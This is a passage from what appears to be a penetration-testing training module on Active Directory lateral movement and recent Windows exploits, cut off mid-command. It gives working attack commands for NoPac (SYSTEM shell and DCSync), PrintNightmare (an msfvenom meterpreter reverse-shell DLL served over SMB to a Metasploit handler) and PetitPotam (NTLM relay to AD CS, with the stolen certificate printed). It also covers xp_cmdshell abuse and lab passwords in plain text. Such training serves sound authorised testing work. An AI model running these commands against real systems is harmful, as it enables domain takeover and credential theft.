PSRemoting or Windows Remote Management (WinRM) access, is a remote access protocol that allows us to run commands or enter an interactive command-line session on a remote host using PowerShell * `MSSQL Server` - an account with sysadmin privileges on an SQL Server instance can log into the instance remotely and execute queries against the database. This access can be used to run operating system commands in the context of the SQL Server service account through various methods We can enumerate this access in various ways. The easiest, once again, is via BloodHound, as the following edges exist to show us what types of remote access privileges a given user has: * [CanRDP](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#canrdp) * [CanPSRemote](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#canpsremote) * [SQLAdmin](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#sqladmin) We can also enumerate these privileges using tools such as PowerView and even built-in tools. ### Remote Desktop Sometimes, we will obtain a foothold with a user that does not have local admin rights anywhere, but does have the rights to RDP into one or more machines. This access could be extremely useful to us as we could use the host position to: * Launch further attacks * We may be able to escalate privileges and obtain credentials for a higher privileged user * We may be able to pillage the host for sensitive data or credentials **Enumerating the Remote Desktop Users Group (PowerView)** Using PowerView, we could use the [Get-NetLocalGroupMember](https://powersploit.readthedocs.io/en/latest/Recon/Get-NetLocalGroupMember/) function to begin enumerating members of the `Remote Desktop Users` group on a given host ```powershell Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users" ``` Typically the first thing to check after importing BloodHound data is: Does the Domain Users group have local admin rights or execution rights (such as RDP or WinRM) over one or more hosts? **Checking the Domain Users Group's Local Admin & Execution Rights using BloodHound**
If we gain control over a user through an attack such as LLMNR/NBT-NS Response Spoofing or Kerberoasting, we can search for the username in BloodHound to check what type of remote access rights they have either directly or inherited via group membership under `Execution Rights` on the `Node Info` tab. **Checking Remote Access Rights using BloodHound**
We could also check the `Analysis` tab and run the pre-built queries `Find Workstations where Domain Users can RDP` or `Find Servers where Domain Users can RDP`. There are other ways to enumerate this information, but BloodHound is a powerful tool that can help us narrow down these types of access rights quickly and accurately, which is hugely beneficial to us as penetration testers under time constraints for the assessment period. To test this access, we can either use a tool such as `xfreerdp` or `Remmina` from our VM or the Pwnbox or `mstsc.exe` if attacking from a Windows host. ### WinRM Like RDP, we may find that either a specific user or an entire group has WinRM access to one or more hosts. We can again use the PowerView function `Get-NetLocalGroupMember` to the `Remote Management Users` group. This group has existed since the days of Windows 8/Windows Server 2012 to enable WinRM access without granting local admin rights. **Enumerating the Remote Management Users Group** ```powershell Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users" ``` We can also utilize this custom `Cypher query` in BloodHound to hunt for users with this type of access. This can be done by pasting the query into the `Raw Query` box at the bottom of the screen and hitting enter. ```cypher MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2 ``` We could also add this as a custom query to our BloodHound installation, so it's always available to us. **Adding the Cypher Query as a Custom Query in BloodHound**
**Establishing WinRM Session from Windows** ```powershell $password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force $cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password) Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred ``` From our Linux attack host, we can use the tool [evil-winrm](https://github.com/Hackplayers/evil-winrm) to connect. **Installing Evil-WinRM** ```bash gem install evil-winrm ``` **Connecting to a Target with Evil-WinRM and Valid Credentials** ```bash evil-winrm -i 10.129.201.234 -u forend ``` From here, we could dig around to plan our next move. ### SQL Server Admin We may obtain credentials for an account with this access via Kerberoasting (common) or others such as LLMNR/NBT-NS Response Spoofing or password spraying. Another way that you may find SQL server credentials is using the tool [Snaffler](https://github.com/SnaffCon/Snaffler) to find web.config or other types of configuration files that contain SQL server connection strings. BloodHound, once again, is a great bet for finding this type of access via the `SQLAdmin` edge. We can check for `SQL Admin Rights` in the `Node Info` tab for a given user or use this custom Cypher query to search: ```cypher MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2 ``` We can use our ACL rights to authenticate with the `wley` user, change the password for the `damundsen` user and then authenticate with the target using a tool such as `PowerUpSQL`, which has a handy [command cheat sheet](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet). **Enumerating MSSQL Instances with PowerUpSQL** ```powershell Import-Module .\PowerUpSQL.ps1 Get-SQLInstanceDomain ``` ```powershell Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version' ``` We can also authenticate from our Linux attack host using [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) from the Impacket toolkit. **Running mssqlclient.py Against the Target** ```bash mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth ``` We could then choose `enable_xp_cmdshell` to enable the [xp\_cmdshell stored procedure](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15) which allows for one to execute operating system commands via the database if the account in question has the proper access rights. ```shell-session enable_xp_cmdshell ``` Finally, we can run commands in the format `xp_cmdshell `. Here we can enumerate the rights that our user has on the system and see that we have [SeImpersonatePrivilege](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/seimpersonateprivilege-secreateglobalprivilege), which can be leveraged in combination with a tool such as [JuicyPotato](https://github.com/ohpe/juicy-potato), [PrintSpoofer](https://github.com/itm4n/PrintSpoofer), or [RoguePotato](https://github.com/antonioCoco/RoguePotato) to escalate to `SYSTEM` level privileges, depending on the target host, and use this access to continue toward our goal. **Enumerating our Rights on the System using xp\_cmdshell** ```shell-session xp_cmdshell whoami /priv ``` The following section will address a common issue we often run into when using WinRM to connect to hosts in the network. ## Kerberos "Double Hop" Problem There's an issue known as the "Double Hop" problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. Let's say we have three hosts: `Attack host` --> `DEV01` --> `DC01`. Our Attack Host is a Parrot box within the corporate network but not joined to the domain. We obtain a set of credentials for a domain user and find that they are part of the `Remote Management Users` group on DEV01. We want to use `PowerView` to enumerate the domain, which requires communication with the Domain Controller, DC01.
When we connect to `DEV01` using a tool such as `evil-winrm`, we connect with network authentication, so our credentials are not stored in memory and, therefore, will not be present on the system to authenticate to other resources on behalf of our user. When we load a tool such as `PowerView` and attempt to query Active Directory, Kerberos has no way of telling the DC that our user can access resources in the domain. This happens because the user's Kerberos TGT (Ticket Granting Ticket) ticket is not sent to the remote session; therefore, the user has no way to prove their identity, and commands will no longer be run in this user's context. In other words, when authenticating to the target host, the user's ticket-granting service (TGS) ticket is sent to the remote service, which allows command execution, but the user's TGT ticket is not sent. When the user attempts to access subsequent resources in the domain, their TGT will not be present in the request, so the remote service will have no way to prove that the authentication attempt is valid, and we will be denied access to the remote service. If unconstrained delegation is enabled on a server, it is likely we won't face the "Double Hop" problem. ### Workarounds A few workarounds for the double-hop issue are covered in [this post](https://posts.slayerlabs.com/double-hop/). We can use a "nested" `Invoke-Command` to send credentials (after creating a PSCredential object) with every request, so if we try to authenticate from our attack host to host A and run commands on host B, we are permitted. ### Workaround #1: PSCredential Object (evil-winrm) We can also connect to the remote host via host A and set up a PSCredential object to pass our credentials again. Let's see that in action. If we check with `klist`, we see that we only have a cached Kerberos ticket for our current server. ```shell-session *Evil-WinRM* PS C:\Users\backupadm\Documents> klist Current LogonId is 0:0x57f8a Cached Tickets: (1) #0> Client: backupadm @ INLANEFREIGHT.LOCAL Server: academy-aen-ms0$ @ KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize Start Time: 6/28/2022 7:31:53 (local) End Time: 6/28/2022 7:46:53 (local) Renew Time: 7/5/2022 7:31:18 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0x4 -> S4U Kdc Called: DC01.INLANEFREIGHT.LOCAL ``` So now, let's set up a PSCredential object and try again. First, we set up our authentication. ```powershell $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword) ``` Now we can try to query the SPN accounts using PowerView and are successful because we passed our credentials along with the command. ```powershell get-domainuser -spn -credential $Cred | select samaccountname ``` If we try again without specifying the `-credential` flag, we once again get an error message. ### Workaround #2: Register PSSession Configuration We've seen what we can do to overcome this problem when using a tool such as `evil-winrm` to connect to a host via WinRM. What if we're on a domain-joined host and can connect remotely to another using WinRM? Or we are working from a Windows attack host and connect to our target via WinRM using the [Enter-PSSession cmdlet](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-7.2)? Here we have another option to change our setup to be able to interact directly with the DC or other hosts/resources without having to set up a PSCredential object and include credentials along with every command (which may not be an option with some tools). Let's start by first establishing a WinRM session on the remote host. ```powershell Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL -Credential inlanefreight\backupadm ``` If we check for cached tickets using `klist`, we'll see that the same problem exists. One trick we can use here is registering a new session configuration using the [Register-PSSessionConfiguration](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/register-pssessionconfiguration?view=powershell-7.2) cmdlet. ```powershell Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm ``` Once this is done, we need to restart the WinRM service by typing `Restart-Service WinRM` in our current PSSession. This will kick us out, so we'll start a new PSSession using the named registered session we set up previously. ```powershell Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess ``` We can now run tools such as PowerView without having to create a new PSCredential object. {% hint style="info" %} Note: We cannot use `Register-PSSessionConfiguration` from an evil-winrm shell because we won't be able to get the credentials popup. Furthermore, if we try to run this by first setting up a PSCredential object and then attempting to run the command by passing credentials like `-RunAsCredential $Cred`, we will get an error because we can only use `RunAs` from an elevated PowerShell terminal. Therefore, this method will not work via an evil-winrm session as it requires GUI access and a proper PowerShell console. {% endhint %} ## Bleeding Edge Vulnerabilities When it comes to patch management and cycles, many organizations are not quick to roll out patches through their networks. Because of this, we may be able to achieve a quick win either for initial access or domain privilege escalation using a very recent tactic. ### NoPac (SamAccountName Spoofing) A great example of an emerging threat is the [Sam\_The\_Admin vulnerability](https://techcommunity.microsoft.com/t5/security-compliance-and-identity/sam-name-impersonation/ba-p/3042699), also called `noPac` or referred to as `SamAccountName Spoofing` released at the end of 2021. (CVEs [2021-42278](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278) and [2021-42287](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287)) | 42278 | 42287 | | -------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | | `42278` is a bypass vulnerability with the Security Account Manager (SAM). | `42287` is a vulnerability within the Kerberos Privilege Attribute Certificate (PAC) in ADDS. | Explained here: We can use this [tool](https://github.com/Ridter/noPac) to perform this attack. NoPac uses many tools in Impacket, ensure Impacket is installed and the noPac exploit repo is cloned to our attack host if needed. ```bash git clone https://github.com/SecureAuthCorp/impacket.git cd impacket python setup.py install cd .. git clone https://github.com/Ridter/noPac.git ``` **Scanning for NoPac** ```bash sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap ``` There are many different ways to use NoPac to further our access. One way is to obtain a shell with SYSTEM level privileges. We can do this by running noPac.py with the syntax below to impersonate the built-in administrator account and drop into a semi-interactive shell session on the target Domain Controller. This could be "noisy" or may be blocked by AV or EDR. ```bash sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap ``` We will notice that a `semi-interactive shell session` is established with the target using [smbexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py). Keep in mind with smbexec shells we will need to use exact paths instead of navigating the directory structure using `cd`. We could then use the ccache file to perform a pass-the-ticket and perform further attacks such as DCSync. We can also use the tool with the `-dump` flag to perform a DCSync using secretsdump.py. This method would still create a ccache file on disk, which we would want to be aware of and clean up. ```bash sudo python3 noPac.py /: -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator ``` ### Windows Defender & SMBEXEC.py Considerations If Windows Defender (or another AV or EDR product) is enabled on a target, our shell session may be established, but issuing any commands will likely fail. The first thing smbexec.py does is create a service called `BTOBTO`. Another service called `BTOBO` is created, and any command we type is sent to the target over SMB inside a .bat file called `execute.bat`. With each new command we type, a new batch script is created and echoed to a temporary file that executes said script and deletes it from the system. Let's look at a Windows Defender log to see what behavior was considered malicious.
If opsec or being "quiet" is a consideration during an assessment, we would most likely want to avoid a tool like smbexec.py. ### PrintNightmare `PrintNightmare` is the nickname given to two vulnerabilities ([CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) and [CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675)) found in the [Print Spooler service](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-prsod/7262f540-dd18-46a3-b645-8ea9b59753dc) that runs on all Windows operating systems. Before conducting this attack, we must retrieve the exploit we will use. In this case, we will be using [cube0x0's](https://twitter.com/cube0x0?lang=en) exploit. We can use Git to clone it to our attack host: **Cloning the Exploit** ```bash git clone https://github.com/cube0x0/CVE-2021-1675.git ``` For this exploit to work successfully, we will need to use cube0x0's version of Impacket. We may need to uninstall the version of Impacket on our attack host and install cube0x0's **Install cube0x0's Version of Impacket** ```bash pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install ``` We can use `rpcdump.py` to see if `Print System Asynchronous Protocol` and `Print System Remote Protocol` are exposed on the target. **Enumerating for MS-RPRN** ```bash rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR' ``` Output: ```shell-session Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol Protocol: [MS-RPRN]: Print System Remote Protocol ``` After confirming this, we can proceed with attempting to use the exploit. We can begin by crafting a DLL payload using `msfvenom`. **Generating a DLL Payload** ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll ``` We will then host this payload in an SMB share we create on our attack host using `smbserver.py`. **Creating a Share with smbserver.py** ```bash sudo smbserver.py -smb2support CompData /path/to/backupscript.dll ``` Once the share is created and hosting our payload, we can use MSF to configure & start a multi handler responsible for catching the reverse shell that gets executed on the target. **Configuring & Starting MSF multi/handler** ```shell-session use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST set LPORT 8080 run ``` **Running the Exploit** ```bash sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll' ``` Notice how at the end of the command, we include the path to the share hosting our payload (`\\\ShareName\nameofpayload.dll`). If all goes well after running the exploit, the target will access the share and execute the payload. The payload will then call back to our multi handler giving us an elevated SYSTEM shell. ### PetitPotam (MS-EFSRPC) PetitPotam ([CVE-2021-36942](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942)) is an LSA spoofing vulnerability that was patched in August of 2021. [This](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/) blog post goes into more detail on NTLM relaying to AD CS and the PetitPotam attack. In the attack, an authentication request from the targeted Domain Controller is relayed to the Certificate Authority (CA) host's Web Enrollment page and makes a Certificate Signing Request (CSR) for a new digital certificate. This certificate can then be used with a tool such as `Rubeus` or `gettgtpkinit.py` from [PKINITtools](https://github.com/dirkjanm/PKINITtools) to request a TGT for the Domain Controller, which can then be used to achieve domain compromise via a DCSync attack. Let's walk through the attack. First off, we need to start `ntlmrelayx.py` in one window on our attack host, specifying the Web Enrollment URL for the CA host and using either the KerberosAuthentication or DomainController AD CS template. If we didn't know the location of the CA, we could use a tool such as [certi](https://github.com/zer1t0/certi) to attempt to locate it. **Starting ntlmrelayx.py** ```bash sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController ``` In another window, we can run the tool [PetitPotam.py](https://github.com/topotam/PetitPotam) **Running PetitPotam.py** ```bash python3 PetitPotam.py ``` **Catching Base64 Encoded Certificate for DC01** Back in our other window, we will see a successful login request and obtain the base64 encoded certificate for the Domain Controller if the attack is successful. **ntlmrelayx window** ``` [*] Servers started, waiting for connections [*] SMBD-Thread-4: Connection from INLANEFREIGHT/ACADEMY-EA-DC01$@172.16.5.5 controlled, attacking target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL [*] HTTP server returned error code 200, treating as a successful login [*] Authenticating against http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL as INLANEFREIGHT/ACADEMY-EA-DC01$ SUCCEED [*] SMBD-Thread-4: Connection from INLANEFREIGHT/ACADEMY-EA-DC01$@172.16.5.5 controlled, attacking target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL [*] HTTP server returned error code 200, treating as a successful login [*] Authenticating against http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL as INLANEFREIGHT/ACADEMY-EA-DC01$ SUCCEED [*] Generating CSR... [*] CSR generated! [*] Getting certificate... [*] GOT CERTIFICATE! [*] Base64 certificate of user ACADEMY-EA-DC01$: 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 [*] Skipping user ACADEMY-EA-DC01$ since attack was already performed ``` **Requesting a TGT Using gettgtpkinit.py** ```bash python3 /opt/PKINITtools/gettgtpkinit.py 